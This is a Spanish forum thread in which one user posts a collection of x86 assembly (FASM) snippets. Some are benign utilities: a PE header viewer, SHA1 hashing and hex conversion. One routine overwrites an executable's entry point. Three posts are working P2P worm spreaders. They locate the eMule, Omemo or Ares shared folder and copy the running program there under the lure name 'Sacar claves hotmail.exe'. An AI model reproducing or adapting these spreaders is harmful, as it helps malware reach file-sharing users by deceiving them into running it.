Autor
|
Tema: Recopilación de mis codigos. (Leído 33,052 veces)
|
YST
Desconectado
Mensajes: 965
I'm you
|
include 'win32ax.inc' INVALID_FILE_SIZE = 0xffffffff .code start: stdcall ChangeEntryPoint,"c:\Arreglado.exe",$ .if eax = 0 invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0 .else invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0 .endif invoke ExitProcess,0 proc ChangeEntryPoint,Path,NewEP:DWORD locals Handle dd ? Tamaño dd ? Emezeta dd ? cantidad dd ? endl push ebx invoke CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ;Abrimos el archivo para lectura cmp eax,INVALID_HANDLE_VALUE je .error mov [Handle],eax ;Guardamos el handle invoke GetFileSize, eax, 0 ;Vemos el tamaño cmp eax,INVALID_FILE_SIZE je .error mov [Tamaño], eax invoke GlobalAlloc, GPTR, eax mov [Emezeta], eax invoke ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0 ;Leemos el archivo cmp eax,TRUE jne .error invoke CloseHandle,[Handle] ;Cerramos el handle cmp eax,NULL je .error mov ebx,[Emezeta] cmp word[ebx],"MZ" jne .error add ebx,dword[ebx+03ch] cmp word[ebx],"PE" jne .error xor eax,eax mov eax,[NewEP] mov dword[ebx+28h],eax ;Cambiamos el EP invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 ;Creamos el archivo borrando el anterior cmp eax,INVALID_HANDLE_VALUE je .error mov [Handle], eax ;Escibimos el archivo invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL ; "Cerramos" el archivo invoke CloseHandle,[Handle] cmp eax,NULL je .error mov eax,1 jmp .salir .error: xor eax,eax .salir: pop ebx ret endp .end start
|
|
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
proc EOFExtraDataExtract,FHandle push esi ebx mov eax,[FHandle] mov esi,dword[eax+03ch] ;Offset to start of PE header add esi,eax movzx ebx, word[esi+06h] ;Number Of Sections dec ebx mov eax,28h mul ebx add esi,0xf8 ;START OF SECTION TABLE add esi,eax mov eax,dword[esi+10h] ;SizeOfRawData add eax,dword[esi+14h] ;pointerToRawData pop ebx esi ret endp
|
|
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
format pe console include 'win32ax.inc' .data Espacio equ 13,10,0 ;Para pasar a una nueva linea. RutaArchivo rb MAX_PATH ;Variable para guardar la ruta de el archivo PunteroPEheader dd ? ; Puntero de el Pe header Logo db ' ===================================',13,10 ; LOGO PRINCIPAL db ' = PE visor by YST =',13,10 db ' ===================================',13,10,0 LogoGeneral db ' ===================================',13,10 ; LOGO GENERAL db ' = General =',13,10 db ' ===================================',13,10,0 LogoSecciones db ' ===================================',13,10 db ' = Secciones =',13,10 ;LOGO DE INFO DE LAS SECCIONES db ' ===================================',13,10,0 LogoExport db ' ===================================',13,10 db ' = Export data =',13,10 ;LOGO DE INFO DE el Export data db ' ===================================',13,10,0 LogoImport db ' ===================================',13,10 db ' = Import data =',13,10 ;LOGO DE INFO DE el import data db ' ===================================',13,10,0 FHandle dd ? ; MZ de el archivo .code start: invoke system,"color 3" ;Ponemos el color de texto invoke printf,Logo ;Imprimimos el logo invoke printf,Espacio ;Ponemos dos nuevas lineas. invoke printf,Espacio invoke printf,"Inserte la ruta de el archivo a examinar:" ; Preguntamos el archivo invoke printf,Espacio invoke scanf,"%s",RutaArchivo ;Obtenemos la ruta de el archivo invoke LoadLibrary,RutaArchivo ;Cargamos el archivo .if eax = 0 ; Si hay error invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error . invoke printf,RutaArchivo invoke ExitProcess,0 ; Nos salimos. .else ; De lo contrario .if word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ mov [FHandle],eax ; Guardamos el MZ en FHandle .else ; De lo contrario invoke printf,"Ingrese un archivo valido." ;Mostramos el error . invoke ExitProcess,0 ; Nos salimos. .endif ; Terminamos los if .endif add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header .if word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE mov [PunteroPEheader],eax ; Guardamos el puntero de el PE header en PunteroPEheader .else ; De lo contrario invoke printf,"No se a detectado PE header." ;Mostramos el error . invoke ExitProcess,0 ; Nos salimos. .endif ; Terminamos los if .endif invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. mov ebx,[FHandle] mov ebx,dword[ebx+03ch] invoke printf,"La posicion de el PE header es : 0x%x" ,ebx ;Mostramos la direccion de el PE header invoke printf,Espacio ; Pasamos a la siguiente linea. add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"Subsystem: " ;Imprimimos el Subsystem .if dword[ebx+5Ch] = 2h ;SI es GUI invoke printf,"Windows GUI" ; Imprimimos Windows GUI .else ; De lo contrario es CUI (Consola) invoke printf,"Windows CUI" ; Imprimimos Windows CUI .endif ;Terminamos el if invoke printf,Espacio ; Pasamos a la siguiente linea. stdcall EOFExtraDataExtract,[FHandle] invoke printf,"Posicion de el EOF: 0x%x",eax ;Imprimimos la posicion de el EOF invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. mov esi,[PunteroPEheader] ;Movemos el puntero de el PE Header a esi. movzx ebx,word[esi+06h] ; Guardamos la cantidad de secciones en ebx. invoke printf,"Numero de secciones: %d",ebx ;Imprimimos la cantidad de secciones. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. .bucleImprimeSecciones: ; Bucle que imprime secciones dec ebx ;Les restamos uno a ebx mov eax,28h ;Hacemos que eax sea igual a $28 mul ebx ;Multiplicamos ebx add eax,0xf8 ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE ) add eax,esi ;Le agregamos al resultado de la multiplicacion el puntero de el PE header mov edi,eax ;Guardamos eax en edi invoke printf,"Name: %s",edi ;Imprimimos el nombre de la sección. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,"virtual address: 0x%x",dword[edi+0ch] ;Imprimimos el virtual address invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"VirtualSize: 0x%x",dword[edi+08h] ;Imprimimos el VirtualSize invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ; Imprimimos el SizeOfRawData invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"pointerToRawData : 0x%x",dword[edi+14h] ;Imprimimos el pointerToRawData invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,Espacio ; Pasamos a la siguiente linea invoke printf,Espacio ; Pasamos a la siguiente linea cmp ebx,0 jne .bucleImprimeSecciones ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones . invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,LogoExport ;Imprimimos el logo de la informacion de el export data. invoke printf,Espacio ; Pasamos a la siguiente linea. invoke printf,Espacio ; Pasamos a la siguiente linea. .if dword[esi+078h] = 0 ; Si no hay export data invoke printf,"[+]No se exporta ninguna funcion." invoke printf,Espacio ; Pasamos a la siguiente linea. .else mov ebx,dword[esi+078h] add ebx,[FHandle] invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h] ;Imprimimo la cantidad de funciones exportadas. invoke printf,Espacio ; Pasamos a la siguiente linea. + mov edi,dword[ebx+20h] ;AddressOfNames add edi,[FHandle] mov ebx,dword[ebx+18h] ;Numero de exports invoke printf,"Funciones exportadas: " invoke printf,Espacio .bucleExportData: ;Bucle para imprimir la export data dec ebx mov eax, [edi + ebx * 4] add eax,[FHandle] invoke printf,"[+]%s",eax invoke printf,Espacio cmp ebx,0 jne .bucleExportData ;Si no se an imprimido todas seguimos .endif invoke printf,LogoImport invoke printf,Espacio invoke printf,Espacio mov eax,[PunteroPEheader] .if dword[eax+80h] = NULL ;Si no importamos ninguna funcion. invoke printf,"[+]No importa ninguna funcion." .else;De lo contrario stdcall Sacaimport,[FHandle] .endif invoke system,"pause" invoke ExitProcess,0 proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF push esi ebx mov eax,[FHandle] mov esi,dword[eax+03ch] ;Offset to start of PE header add esi,eax movzx ebx, word[esi+06h] ;Number Of Sections dec ebx mov eax,28h mul ebx add esi,0xf8 ;START OF SECTION TABLE add esi,eax mov eax,dword[esi+10h] ;SizeOfRawData add eax,dword[esi+14h] ;pointerToRawData pop ebx esi ret endp proc Sacaimport ,handle locals Export dd ? endl pushad mov eax,[handle] mov ebx,dword[eax+03ch] add ebx,eax mov ebx,dword[ebx+80h] add ebx,eax mov [Export],ebx .buclelib: mov ebx,[Export] mov edi,dword[ebx+0ch] cmp edi,0 je .salir add edi,[handle] invoke printf,"- Funciones de %s: ",edi invoke printf,"%s",Espacio xor esi,esi mov esi,dword[ebx] add esi,[handle] mov edi,esi xor ebx,ebx .bucleapi: xor esi,esi mov esi,dword[edi+ebx] cmp esi,0 je .otralib add esi,[handle] add esi,2h invoke printf," [*]%s",esi invoke printf,"%s",Espacio add ebx,04h jmp .bucleapi .otralib: add [Export] ,14h jmp .buclelib .salir: popad ret endp .end start section '.reloc' fixups data discardable
|
|
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
;Descripción: Convierte un dato a hexadecimal ; by YST proc StringToHex,cPuntero,cCantidad,cBuffer pushad mov esi,[cPuntero] mov edi,[cBuffer] .bucle: cmp [cCantidad],0 je .salir xor edx,edx movzx eax,byte[esi] mov ebx,16 div ebx mov bl, byte[numeros+eax] mov byte[edi],bl mov bl, byte[numeros+edx] mov byte[edi+1],bl add edi,2 inc esi dec [cCantidad] jmp .bucle .salir: popad ret numeros db '0123456789ABCDEF',0 endp
|
|
« Última modificación: 12 Junio 2009, 22:11 pm por YST »
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
proc HexToString,cPuntero,cCantidad,cBuffer pushad mov edi,[cPuntero] mov esi,[cBuffer] .bucle: cmp [cCantidad] ,0 je .salir movzx eax,byte[edi] xor edx,edx mov ebx,16 div ebx mov ecx,edx .if byte[edi] >= 'A' add ecx,9 .endif xor edx,edx mov eax,16 mul ecx mov ecx,eax movzx eax,byte[edi+1] xor edx,edx mov ebx,16 div ebx .if byte[edi+1] >= 'A' add edx,9 .endif add ecx,edx mov byte[esi],cl inc esi add edi,2 dec [cCantidad] jmp .bucle .salir : popad ret endp
|
|
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
include 'win32ax.inc' .data buffer rb 41 var0 db "12345",0 .code start: invoke lstrlen,var0 stdcall SHA1Hash ,var0 ,eax,buffer invoke MessageBox,0,buffer,buffer,0 leave ret ;Descripción: Saca el hash sha1 de un dato ; by YST proc SHA1Hash ,pbData,dwDataLen,cBuffer locals hProv dd ? PROV_RSA_FULL = 1 CALG_SHA = 0x00008004 hHash dd ? cBuf rb 40 dwSigLen dd ? endl pushad invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,0 .if [hProv] = 0 invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,8h .endif invoke CryptCreateHash,[hProv],CALG_SHA, 0, 0, addr hHash invoke CryptHashData,[hHash], [pbData],[dwDataLen] , 0 invoke CryptGetHashParam,[hHash], 2, 0,addr dwSigLen, 0 .if [dwSigLen] <> 0 invoke CryptGetHashParam,[hHash], 2, addr cBuf,addr dwSigLen, 0 .endif invoke CryptDestroyHash,[hHash] invoke CryptReleaseContext,[hProv], 0 stdcall StringToHex,addr cBuf,20,[cBuffer] popad ret endp ;Descripción: Convierte un dato a hexadecimal ; by YST proc StringToHex,cPuntero,cCantidad,cBuffer pushad mov esi,[cPuntero] mov edi,[cBuffer] .bucle: cmp [cCantidad],0 je .salir xor edx,edx movzx eax,byte[esi] mov ebx,16 div ebx mov bl, byte[numeros+eax] mov byte[edi],bl mov bl, byte[numeros+edx] mov byte[edi+1],bl add edi,2 inc esi dec [cCantidad] jmp .bucle .salir: popad ret numeros db '0123456789ABCDEF',0 endp .end start
|
|
« Última modificación: 13 Junio 2009, 17:40 pm por YST »
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
include 'win32ax.inc' entry start .code cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos proc start locals lBuffer rb MAX_PATH lBuffer2 rb MAX_PATH lBuffer3 rb MAX_PATH endl stdcall Zerar,addr lBuffer,MAX_PATH stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\eMule" , "Install Path",addr lBuffer .if eax = 0 jmp .exit .endif invoke lstrcat,addr lBuffer,"\config\preferences.ini" invoke PathFileExists,addr lBuffer .if eax <> 0 stdcall Zerar,addr lBuffer2,MAX_PATH invoke GetPrivateProfileString,"eMule", "IncomingDir", 0, addr lBuffer2, 260, addr lBuffer invoke lstrlen,addr lBuffer2 lea ebx,[lBuffer2] mov byte[ebx+eax],"\" invoke lstrcat, addr lBuffer2,cName MOV EaX, [FS:30h] MOV EaX, [EaX + 10h] MOV EaX, [EaX + 3Ch] stdcall Zerar,addr lBuffer3,MAX_PATH stdcall UniToAscii, addr lBuffer3,eax invoke CopyFile, addr lBuffer3, addr lBuffer2,0 jmp .exit .else jmp .exit .endif .exit: invoke ExitProcess,0 endp proc UniToAscii, ascii, unicode push esi push edi mov esi, [unicode] mov edi, [ascii] .count: .if byte[esi] <> 0 movsb jmp .count .endif inc esi .if byte[esi] = 0 jmp .exit .endif jmp .count .exit: mov eax, edi add eax, 2 pop edi pop esi ret endp proc Zerar,Puntero,Cantidad ;Funcion que llena de 0 una posicion push ecx push ebx mov ecx,[Cantidad] mov ebx,[Puntero] .bucle: mov byte[ebx+ecx],0 loop .bucle mov byte[ebx],0 pop ebx pop ecx ret endp proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer locals temp dd ? Result dd ? endl mov [temp],MAX_PATH*3 invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result .if eax <> 0 ;Si no hay datos devolvemos 0 xor eax,eax jmp .salir .endif lea ebx,[temp] invoke RegQueryValueEx ,[Result],[cCampo],0,0,[cBuffer],ebx .if eax <> 0 ;Si no hay datos devolvemos 0 xor eax,eax jmp .salir .endif mov eax,TRUE .salir: ret endp section '.idata' import data readable library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll' include 'api/kernel32.inc' include 'api/advapi32.inc' import shlwapi,PathFileExists,'PathFileExistsA'
|
|
« Última modificación: 20 Junio 2009, 02:17 am por YST »
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
include 'win32ax.inc' entry start .code cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos proc start locals lBuffer rb MAX_PATH lBuffer2 rb MAX_PATH lBuffer3 rb MAX_PATH endl stdcall Zerar,addr lBuffer,MAX_PATH stdcall LeerRegistro,HKEY_LOCAL_MACHINE,"SOFTWARE\Omemo" , "InstallDir",addr lBuffer .if eax = 0 jmp .exit .endif invoke lstrcat,addr lBuffer,"\Omemo.ini" invoke PathFileExists,addr lBuffer .if eax <> 0 stdcall Zerar,addr lBuffer2,MAX_PATH invoke GetPrivateProfileString,"global", "SAVE_AS_FOLDER", 0, addr lBuffer2, 260, addr lBuffer invoke lstrlen,addr lBuffer2 lea ebx,[lBuffer2] mov byte[ebx+eax],"\" invoke lstrcat, addr lBuffer2,cName MOV EaX, [FS:30h] MOV EaX, [EaX + 10h] MOV EaX, [EaX + 3Ch] stdcall Zerar,addr lBuffer3,MAX_PATH stdcall UniToAscii, addr lBuffer3,eax invoke CopyFile, addr lBuffer3, addr lBuffer2,0 jmp .exit .else jmp .exit .endif .exit: invoke ExitProcess,0 endp proc UniToAscii, ascii, unicode push esi push edi mov esi, [unicode] mov edi, [ascii] .count: .if byte[esi] <> 0 movsb jmp .count .endif inc esi .if byte[esi] = 0 jmp .exit .endif jmp .count .exit: mov eax, edi add eax, 2 pop edi pop esi ret endp proc Zerar,Puntero,Cantidad ;Funcion que llena de 0 una posicion push ecx push ebx mov ecx,[Cantidad] mov ebx,[Puntero] .bucle: mov byte[ebx+ecx],0 loop .bucle mov byte[ebx],0 pop ebx pop ecx ret endp proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer locals temp dd ? Result dd ? endl mov [temp],MAX_PATH*3 invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result .if eax <> 0 ;Si no hay datos devolvemos 0 xor eax,eax jmp .salir .endif lea ebx,[temp] invoke RegQueryValueEx ,[Result],[cCampo],0,0,[cBuffer],ebx .if eax <> 0 ;Si no hay datos devolvemos 0 xor eax,eax jmp .salir .endif mov eax,1 .salir: ret endp section '.idata' import data readable library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll' include 'api/kernel32.inc' include 'api/advapi32.inc' include 'api/user32.inc' import shlwapi,PathFileExists,'PathFileExistsA'
|
|
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
include 'win32ax.inc' entry start .code cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos proc start locals lBuffer rb MAX_PATH lBuffer2 rb MAX_PATH lBuffer3 rb MAX_PATH endl stdcall Zerar,addr lBuffer,MAX_PATH stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\Ares" , "Download.Folder",addr lBuffer .if eax = 0 jmp .exit .endif stdcall Zerar,addr lBuffer2,MAX_PATH invoke lstrlen,addr lBuffer stdcall HexToString,addr lBuffer,eax,addr lBuffer2 invoke lstrlen,addr lBuffer2 lea ebx,[lBuffer2] mov byte[ebx+eax],"\" mov ebx,MAX_PATH sub ebx,eax lea edx,[lBuffer2] inc eax add eax,edx stdcall Zerar,eax,ebx invoke lstrcat, addr lBuffer2,cName MOV EaX, [FS:30h] MOV EaX, [EaX + 10h] MOV EaX, [EaX + 3Ch] stdcall Zerar,addr lBuffer3,MAX_PATH stdcall UniToAscii, addr lBuffer3,eax invoke CopyFile, addr lBuffer3, addr lBuffer2,0 .exit: invoke ExitProcess,0 endp proc UniToAscii, ascii, unicode push esi push edi mov esi, [unicode] mov edi, [ascii] .count: .if byte[esi] <> 0 movsb jmp .count .endif inc esi .if byte[esi] = 0 jmp .exit .endif jmp .count .exit: mov eax, edi add eax, 2 pop edi pop esi ret endp proc Zerar,Puntero,Cantidad ;Funcion que llena de 0 una posicion push ecx push ebx mov ecx,[Cantidad] mov ebx,[Puntero] .bucle: mov byte[ebx+ecx],0 loop .bucle mov byte[ebx],0 pop ebx pop ecx ret endp proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer locals temp dd ? Result dd ? endl mov [temp],MAX_PATH*3 invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result .if eax <> 0 ;Si no hay datos devolvemos 0 xor eax,eax jmp .salir .endif lea ebx,[temp] invoke RegQueryValueEx ,[Result],[cCampo],0,0,[cBuffer],ebx .if eax <> 0 ;Si no hay datos devolvemos 0 xor eax,eax jmp .salir .endif mov eax,1 .salir: ret endp proc HexToString,cPuntero,cCantidad,cBuffer pushad mov edi,[cPuntero] mov esi,[cBuffer] .bucle: cmp [cCantidad] ,0 je .salir movzx eax,byte[edi] xor edx,edx mov ebx,16 div ebx mov ecx,edx .if byte[edi] >= 'A' add ecx,9 .endif xor edx,edx mov eax,16 mul ecx mov ecx,eax .if word[edi] = "C3" | word[edi]= "c3" mov byte[esi],"ó" add edi,4 inc esi sub [cCantidad],2 jmp .bucle .endif movzx eax,byte[edi+1] xor edx,edx mov ebx,16 div ebx .if byte[edi+1] >= 'A' add edx,9 .endif add ecx,edx mov byte[esi],cl inc esi add edi,2 dec [cCantidad] jmp .bucle .salir : popad ret endp section '.idata' import data readable library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll' include 'api/kernel32.inc' include 'api/advapi32.inc' import shlwapi,PathFileExists,'PathFileExistsA' include 'api/user32.inc'
|
|
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
YST
Desconectado
Mensajes: 965
I'm you
|
include 'win32ax.inc' .data dString db "i'm a string",0 .code start: stdcall fRight,dString,9 invoke MessageBox,0,eax,0,0 invoke ExitProcess,0' ;Funcion que emula la funcion Right de Visual Basic 6 proc fRight,pString,pLen push esi ebx edi ecx mov eax,[pLen] inc eax invoke GlobalAlloc,GPTR, eax mov esi,eax mov ebx,eax stdcall Len,[pString] sub eax,[pLen] mov edi,[pString] add edi,eax .bucle_: cmp [pLen] ,0 je .exit mov cl,byte[edi] mov byte[ebx],cl inc ebx inc edi dec [pLen] jmp .bucle_ .exit: mov eax,esi pop ecx edi ebx esi ret endp proc Len,cCadena ;Funcion que mide la cadena push ecx edi mov ecx,-1 mov edi,[cCadena] mov al,0 repnz scasb mov eax,ecx not eax dec eax pop edi ecx ret endp .end start
|
|
|
En línea
|
Yo le enseñe a Kayser a usar objetos en ASM
|
|
|
|
|